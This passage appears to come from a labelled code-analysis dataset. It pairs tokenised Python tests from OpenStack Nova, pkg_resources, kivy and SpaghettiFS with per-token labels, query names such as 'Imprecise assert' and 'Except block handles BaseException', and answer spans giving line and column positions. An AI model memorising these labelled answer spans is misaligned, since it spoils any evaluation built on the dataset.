"\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "userdata_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "data\\u", "contents_", "=_", "'#", "!", "/", "bin", "/", "bash", "\\\\", "nec", "ho", " ", "\"", "Oh", " ", "no", "!\"", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "user", "\\u", "data\\u", "contents_", "=_", "base64_", "._", "b64encode_", "(_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "user", "\\u", "data_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "user", "\\u", "data\\u", "json_", "(_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "user", "\\u", "data_", ",_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "userdata", "\\u", "none_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "data\\u", "contents_", "=_", "None_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "user", "\\u", "data_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "user", "\\u", "data\\u", "json_", "(_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "user", "\\u", "data_", ",_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "userdata", "\\u", "with", "\\u", "non", "\\u", "b64", "\\u", "content_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "user", "\\u", "data\\u", "contents_", "=_", "'#", "!", "/", "bin", "/", "bash", "\\\\", "nec", "ho", " ", "\"", "Oh", " ", "no", "!\"", "\\\\", "n", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", ",_", "response_", ",_", "user", "\\u", "data_", "=_", "self_", "._", "\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "user", "\\u", "data\\u", "json_", "(_", "user", "\\u", "data\\u", "contents_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "400_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "user", "\\u", "data_", ",_", "None_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "create", "\\u", "instance", "\\u", "with", "\\u", "security", "\\u", "group", "\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "security", "\\u", "groups_", "=_", "[_", "'", "test", "'_", ",_", "'", "test", "1", "'_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stubs_", "._", "Set_", "(_", "nova_", "._", "db_", "._", "api_", ",_", "'", "security", "\\u", "group", "\\u", "get", "\\u", "by", "\\u", "name", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "security", "\\u", "group", "\\u", "get", "\\u", "by", "\\u", "name_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "stubs_", "._", "Set_", "(_", "nova_", "._", "db_", "._", "api_", ",_", "'", "instance", "\\u", "add", "\\u", "security", "\\u", "group", "'_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "return", "\\u", "instance", "\\u", "add", "\\u", "security", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "body", "\\u", "dict_", "=_", "self_", "._", "\\u", "create", "\\u", "security", "\\u", "group", "\\u", "request", "\\u", "dict_", "(_", "security", "\\u", "groups_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "request_", "=_", "self_", "._", "\\u", "get", "\\u", "create", "\\u", "request", "\\u", "json_", "(_", "body", "\\u", "dict_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "request_", "._", "get", "\\u", "response_", "(_", "fakes_", "._", "wsgi", "\\u", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "202_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "server", "\\u", "by", "\\u", "id", "\\u", "verify", "\\u", "security", "\\u", "group", "s", "\\u", "json_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stubs_", "._", "Set_", "(_", "nova_", "._", "db_", "._", "api_", ",_", "'", "instance", "\\u", "get", "'_", ",_", "return", "\\u", "server", "\\u", "by", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "webob_", "._", "Request_", "._", "blank_", "(_", "'/", "v1", ".1", "/", "123", "/", "os", "-", "create", "-", "server", "-", "ext", "/", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "headers_", "[_", "'", "Conten", "t", "-", "Type", "'_", "]_", "=_", "'", "applica", "tion", "/", "json", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "req_", "._", "get", "\\u", "response_", "(_", "fakes_", "._", "wsgi", "\\u", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "res", "\\u", "dict_", "=_", "json_", "._", "loads_", "(_", "response_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "expected", "\\u", "security", "\\u", "group_", "=_", "[_", "{_", "\"", "name", "\"_", ":_", "\"", "test", "\"_", "}_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "res", "\\u", "dict_", "[_", "'", "server", "'_", "]_", "[_", "'", "security", "\\u", "group", "s", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "expected", "\\u", "security", "\\u", "group_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Creat", "ese", "rver", "ext", "Test_", "(_", "test_", "._", "Test", "Case_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test\\u", "get", "\\u", "server", "\\u", "by", "\\u", "id", "\\u", "verify", "\\u", "security", "\\u", "group", "s", "\\u", "xml_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "self_", "._", "stubs_", "._", "Set_", "(_", "nova_", "._", "db_", "._", "api_", ",_", "'", "instance", "\\u", "get", "'_", ",_", "return", "\\u", "server", "\\u", "by", "\\u", "id_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "=_", "webob_", "._", "Request_", "._", "blank_", "(_", "'/", "v1", ".1", "/", "123", "/", "os", "-", "create", "-", "server", "-", "ext", "/", "1", "'_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "req_", "._", "headers_", "[_", "'", "Accept", "'_", "]_", "=_", "'", "applica", "tion", "/", "xml", "'_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "response_", "=_", "req_", "._", "get", "\\u", "response_", "(_", "fakes_", "._", "wsgi", "\\u", "app_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equals_", "(_", "response_", "._", "status", "\\u", "int_", ",_", "200_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dom_", "=_", "minidom_", "._", "parse", "String_", "(_", "response_", "._", "body_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "server_", "=_", "dom_", "._", "child", "Nodes_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec", "\\u", "groups_", "=_", "server_", "._", "get", "Element", "s", "By", "Ta", "g", "Name_", "(_", "'", "security", "\\u", "group", "s", "'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "sec", "\\u", "group_", "=_", "sec", "\\u", "groups_", "._", "get", "Element", "s", "By", "Ta", "g", "Name_", "(_", "'", "security", "\\u", "group", "'_", ")_", "[_", "0_", "]_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "self_", "._", "assert", "Equal_", "(_", "INSTANCE", "_", "[_", "'", "security", "\\u", "group", "s", "'_", "]_", "[_", "0_", "]_", "[_", "'", "name", "'_", "]_", ",_", "\\u\\u\\uNL\\u\\u\\u_", "sec", "\\u", "group_", "._", "get", "Attribute_", "(_", "\"", "name", "\"_", ")_", ")_" ]
[ 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2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2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Wrong number of arguments in a class instantiation
francelabs/datafari/windows/python/Lib/site-packages/pip/_vendor/pkg_resources/tests/test_resources.py
[ { "content": " def testOrdering(self):\n r1 = Requirement(\"Twisted\", [('==','1.2c1'),('>=','1.2')], ())\n r2 = Requirement(\"Twisted\", [('>=','1.2'),('==','1.2c1')], ())\n assert r1 == r2\n assert str(r1) == str(r2)\n assert str(r2) == \"Twisted==1.2c1,>=1.2\"", "metadata": "root.TestRequirements.testOrdering", "header": "['class', 'TestRequirements', ':', '___EOS___']", "index": 362 }, { "content": " def testBasicContains(self):\n r = Requirement(\"Twisted\", [('>=','1.2')], ())\n foo_dist = Distribution.from_filename(\"FooPkg-1.3_1.egg\")\n twist11 = Distribution.from_filename(\"Twisted-1.1.egg\")\n twist12 = Distribution.from_filename(\"Twisted-1.2.egg\")\n assert parse_version('1.2') in r\n assert parse_version('1.1') not in r\n assert '1.2' in r\n assert '1.1' not in r\n assert foo_dist not in r\n assert twist11 not in r\n assert twist12 in r", "metadata": "root.TestRequirements.testBasicContains", "header": "['class', 'TestRequirements', ':', '___EOS___']", "index": 369 }, { "content": " def testSimpleRequirements(self):\n assert (\n list(parse_requirements('Twis-Ted>=1.2-1'))\n ==\n [Requirement('Twis-Ted',[('>=','1.2-1')], ())]\n )\n assert (\n list(parse_requirements('Twisted >=1.2, \\ # more\\n<2.0'))\n ==\n [Requirement('Twisted',[('>=','1.2'),('<','2.0')], ())]\n )\n assert (\n Requirement.parse(\"FooBar==1.99a3\")\n ==\n Requirement(\"FooBar\", [('==','1.99a3')], ())\n )\n with pytest.raises(ValueError):\n Requirement.parse(\">=2.3\")\n with pytest.raises(ValueError):\n Requirement.parse(\"x\\\\\")\n with pytest.raises(ValueError):\n Requirement.parse(\"x==2 q\")\n with pytest.raises(ValueError):\n Requirement.parse(\"X==1\\nY==2\")\n with pytest.raises(ValueError):\n Requirement.parse(\"#\")", "metadata": "root.TestParsing.testSimpleRequirements", "header": "['class', 'TestParsing', ':', '___EOS___']", "index": 483 } ]
[ { "span": "Requirement(\"Twisted\", [('==','1.2c1'),('>=','1.2')], ())", "start_line": 363, "start_column": 13, "end_line": 363, "end_column": 70 }, { "span": "Requirement(\"Twisted\", [('>=','1.2'),('==','1.2c1')], ())", "start_line": 364, "start_column": 13, "end_line": 364, "end_column": 70 }, { "span": "Requirement(\"Twisted\", [('>=','1.2')], ())", "start_line": 370, "start_column": 12, "end_line": 370, "end_column": 54 }, { "span": "Requirement('Twis-Ted',[('>=','1.2-1')], ())]", "start_line": 487, "start_column": 13, "end_line": 487, "end_column": 57 } ]
[]
1
false
[ "[CLS]_", "Wro", "ng_", "number_", "of_", "arguments_", "in_", "a_", "class_", "instantiation", "_", "[SEP]_", "class_", "Test", "Requirements", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Order", "ing_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r1_", "=_", "Requirement", "_", "(_", "\"", "Twi", "sted", "\"_", ",_", "[_", "(_", "'=='_", ",_", "'", "1.2", "c1", "'_", ")_", ",_", "(_", "'>='_", ",_", "'", "1.2", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "r2_", "=_", "Requirement", "_", "(_", "\"", "Twi", "sted", "\"_", ",_", "[_", "(_", "'>='_", ",_", "'", "1.2", "'_", ")_", ",_", "(_", "'=='_", ",_", "'", "1.2", "c1", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "r1_", "==_", "r2_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "str_", "(_", "r1_", ")_", "==_", "str_", "(_", "r2_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "str_", "(_", "r2_", ")_", "==_", "\"", "Twi", "sted", "==", "1.2", "c1", ",", ">=", "1.2", "\"_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Requirements", "_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Basic", "Contains_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "r_", "=_", "Requirement", "_", "(_", "\"", "Twi", "sted", "\"_", ",_", "[_", "(_", "'>='_", ",_", "'", "1.2", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "foo", "\\u", "dist_", "=_", "Distribution_", "._", "from", "\\u", "filename_", "(_", "\"", "Foo", "Pk", "g", "-1", ".3", "\\u", "1.e", "gg", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "twist", "11_", "=_", "Distribution_", "._", "from", "\\u", "filename_", "(_", "\"", "Twi", "sted", "-1", ".1", ".", "egg", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "twist", "12_", "=_", "Distribution_", "._", "from", "\\u", "filename_", "(_", "\"", "Twi", "sted", "-1", ".2", ".", "egg", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "parse", "\\u", "version_", "(_", "'", "1.2", "'_", ")_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "parse", "\\u", "version_", "(_", "'", "1.1", "'_", ")_", "not_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "1.2", "'_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "'", "1.1", "'_", "not_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "foo", "\\u", "dist_", "not_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "twist", "11_", "not_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "twist", "12_", "in_", "r_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "[SEP]_", "class_", "Test", "Pars", "ing_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "test", "Simple", "Requirements", "_", "(_", "self_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "assert_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "parse", "\\u", "requirements_", "(_", "'", "Twi", "s", "-", "Te", "d", ">=", "1.2", "-1", "'_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "Requirement", "_", "(_", "'", "Twi", "s", "-", "Te", "d", "'_", ",_", "[_", "(_", "'>='_", ",_", "'", "1.2", "-1", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "list_", "(_", "parse", "\\u", "requirements_", "(_", "'", "Twi", "sted", " ", ">=", "1.2", ",", " ", "\\\\", " ", "#", " ", "more", "\\\\", "n", "<", "2.0", "'_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "[_", "Requirement", "_", "(_", "'", "Twi", "sted", "'_", ",_", "[_", "(_", "'>='_", ",_", "'", "1.2", "'_", ")_", ",_", "(_", "'<'_", ",_", "'", "2.0", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "]_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "assert_", "(_", "\\u\\u\\uNL\\u\\u\\u_", "Requirement", "_", "._", "parse_", "(_", "\"", "Foo", "Bar", "==", "1.9", "9", "a3", "\"_", ")_", "\\u\\u\\uNL\\u\\u\\u_", "==_", "\\u\\u\\uNL\\u\\u\\u_", "Requirement", "_", "(_", "\"", "Foo", "Bar", "\"_", ",_", "[_", "(_", "'=='_", ",_", "'", "1.9", "9", "a3", "'_", ")_", "]_", ",_", "(_", ")_", ")_", "\\u\\u\\uNL\\u\\u\\u_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Requirement", "_", "._", "parse_", "(_", "\">", "=", "2.3", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Requirement", "_", "._", "parse_", "(_", "\"", "x", "\\\\\\\\\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Requirement", "_", "._", "parse_", "(_", "\"", "x", "==", "2", " ", "q", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Requirement", "_", "._", "parse_", "(_", "\"", "X", "==", "1", "\\\\", "n", "Y", "==", "2", "\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "with_", "pytest_", "._", "raises_", "(_", "Value", "Error_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "Requirement", "_", "._", "parse_", "(_", "\"#\"_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 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, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2 ]
Except block handles 'BaseException'
kivy/kivy/kivy/input/providers/mtdev.py
[ { "content": " def update(self, dispatch_fn):\n # dispatch all event from threads\n try:\n while True:\n event_type, touch = self.queue.popleft()\n dispatch_fn(event_type, touch)\n except:\n pass", "metadata": "root.MTDMotionEventProvider.update", "header": "['class', 'MTDMotionEventProvider', '(', 'MotionEventProvider', ')', ':', '___EOS___']", "index": 326 } ]
[ { "span": "except:", "start_line": 332, "start_column": 12, "end_line": 332, "end_column": 19 } ]
[]
1
true
[ "[CLS]_", "Except", "_", "block_", "handles_", "'", "Base", "Except", "ion", "'_", "[SEP]_", "class_", "MT", "DM", "oti", "on", "Event", "Provider_", "(_", "Motion", "Event", "Provider_", ")_", ":_", "\\u\\u\\uEOS\\u\\u\\u_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "def_", "update_", "(_", "self_", ",_", "dispatch", "\\u", "fn_", ")_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "#", " ", "dispatch", " ", "all", " ", "event", " ", "from", " ", "threads_", "\\u\\u\\uNL\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "try_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "while_", "True_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " ", "_", "event", "\\u", "type_", ",_", "touch_", "=_", "self_", "._", "queue_", "._", "popleft_", "(_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "dispatch", "\\u", "fn_", "(_", "event", "\\u", "type_", ",_", "touch_", ")_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "\\u\\u\\uDEDENT\\u\\u\\u_", "except_", ":_", "\\u\\u\\uNEWLINE\\u\\u\\u_", "\\u\\u\\uINDENT\\u\\u\\u ", " _", "pass_", "\\u\\u\\uNEWLINE\\u\\u\\u_" ]
[ 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 4, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 2, 0, 1, 1, 1, 2, 2, 2, 2, 2 ]
Imprecise assert
mgax/SpaghettiFS/spaghettifs/tests/test_treetree.py
[ { "content": " def test_create_retrieve_blobs(self):\n for name in ['345', '7', '22', '549', '0']:\n self.assertTrue(name not in self.tt)\n self.tt.new_blob(name).data = 'asdf'\n self.commit()\n self.assertTrue(name in self.tt)\n self.assertEqual(self.tt[name].data, 'asdf')\n self.assertTrue(name not in self.eg.root['tt'])", "metadata": "root.BasicTestCase.test_create_retrieve_blobs", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 31 }, { "content": " def test_create_retrieve_trees(self):\n for name in ['24', '9', '873', '22']:\n self.assertTrue(name not in self.tt)\n self.tt.new_tree(name).new_blob('c').data = 'qwer'\n self.commit()\n self.assertTrue(name in self.tt)\n self.assertEqual(self.tt[name]['c'].data, 'qwer')\n self.assertTrue(name not in self.eg.root['tt'])", "metadata": "root.BasicTestCase.test_create_retrieve_trees", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 40 }, { "content": " def test_remove(self):\n raw_tt = self.eg.root['tt']\n for name in ['345', '7', '22', '549']:\n self.tt.new_blob(name).data = 'asdf'\n\n self.assertTrue('345' in self.tt)\n self.assertTrue('tt3' in raw_tt)\n self.assertTrue('3' in raw_tt['tt3'])\n del self.tt['345']\n self.assertTrue('345' not in self.tt)\n self.assertTrue('tt3' in raw_tt)\n self.assertTrue('3' not in raw_tt['tt3'])\n\n self.assertTrue('7' in self.tt)\n self.assertTrue('tt1' in raw_tt)\n del self.tt['7']\n self.assertTrue('7' not in self.tt)\n self.assertTrue('tt1' not in raw_tt)\n\n self.assertRaises(KeyError, lambda: self.tt['345'])\n self.assertRaises(KeyError, lambda: self.tt['7'])\n self.assertEqual(self.tt['22'].data, 'asdf')\n self.assertEqual(self.tt['549'].data, 'asdf')", "metadata": "root.BasicTestCase.test_remove", "header": "['class', 'BasicTestCase', '(', 'unittest', '.', 'TestCase', ')', ':', '___EOS___']", "index": 70 } ]
[ { "span": "self.assertTrue(name not in self.tt)", "start_line": 33, "start_column": 12, "end_line": 33, "end_column": 48 }, { "span": "self.assertTrue(name in self.tt)", "start_line": 36, "start_column": 12, "end_line": 36, "end_column": 44 }, { "span": "self.assertTrue(name not in self.eg.root['tt'])", "start_line": 38, "start_column": 12, "end_line": 38, "end_column": 59 }, { "span": "self.assertTrue(name not in self.tt)", "start_line": 42, "start_column": 12, "end_line": 42, "end_column": 48 }, { "span": "self.assertTrue(name in self.tt)", "start_line": 45, "start_column": 12, "end_line": 45, "end_column": 44 }, { "span": "self.assertTrue(name not in self.eg.root['tt'])", "start_line": 47, "start_column": 12, "end_line": 47, "end_column": 59 }, { "span": "self.assertTrue('345' in self.tt)", "start_line": 75, "start_column": 